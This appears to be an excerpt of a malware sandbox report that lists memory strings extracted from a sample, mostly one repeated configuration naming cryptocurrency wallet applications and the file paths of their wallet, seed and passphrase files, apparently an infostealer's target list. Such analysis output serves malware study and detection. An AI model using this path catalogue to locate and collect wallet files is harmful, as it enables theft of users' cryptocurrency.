Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000080C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 81.77\Users\user\AppData\Roaming\Binance\simple-storage.jsonNcs
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
